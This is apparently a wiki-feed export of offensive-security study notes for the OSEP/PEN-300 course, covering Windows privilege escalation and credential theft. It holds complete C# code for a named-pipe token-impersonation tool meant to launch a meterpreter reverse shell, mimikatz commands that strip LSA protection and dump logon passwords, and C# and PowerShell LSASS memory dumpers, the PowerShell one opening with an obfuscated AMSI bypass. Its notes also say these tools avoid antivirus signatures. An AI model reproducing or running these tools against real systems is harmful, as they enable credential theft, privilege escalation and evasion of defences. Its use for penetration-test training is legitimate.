            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2364</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2364"/>
		<updated>2026-05-19T11:20:52Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* SAM database */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
